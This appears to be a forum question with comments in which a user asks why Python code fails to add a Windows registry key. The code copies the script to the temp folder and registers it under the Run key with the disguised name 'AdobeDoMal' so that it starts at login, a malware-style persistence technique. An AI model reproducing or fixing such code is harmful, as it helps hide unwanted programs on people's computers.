3
The code below is giving "Registry error", that is, it does not create the key in the Windows registry. Does anyone have any idea how to resolve?
import socket
import time
import subprocess #Executar comandos do SO
import tempfile #pegar o tmp do SO
import os #rodar comandos do SO
FILENAME ='ED5.py'
TMPDIR = tempfile.gettempdir() #varia de acordo com a versao do windows
def autorun():
try:
os.system("copy " + FILENAME + " " + TMPDIR)#se fosse linux, usaria cp em vez de copy
except:
print("Erro na copia")
try:
####criar a chave de registro
FNULL = open(os.devnull, 'w')
subprocess.Popen("REG ADD HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
" /v AdobeDoMal /d " + TMPDIR + "\\" + FILENAME, stdout=FNULL, stderr=FNULL) #key para programas de 64 bits
except:
print("Erro no registro")
autorun()
I tried to quote too much and gave syntax error: + " /v Adobedomal /d " + TEMPDIR + " " + FILENAME, stdout=FNULL, stderr=FNULL) #key for 64-bit programs Nameerror: global name 'TEMPDIR' is not defined
– Ed S
I found the string.format() a little confusing.
– Ed S
The format is the most correct way @Eds, you can even take the numbers and stay just like this
{}
, but make sure after that they respect the order of the vars within theformat(...)
– Miguel
@Eds See the message:
NameError: global name 'TEMPDIR' is not defined
there is the variableTEMPDIR
? thestring.format()
is much more practical, do some tests!– stderr
@Eds Actually, it was two quotes. :)
– stderr
@zekk thanks. I didn’t know the format. I’ll study it. I now discovered that my code didn’t work because TEMPDIR is actually TMPDIR...
– Ed S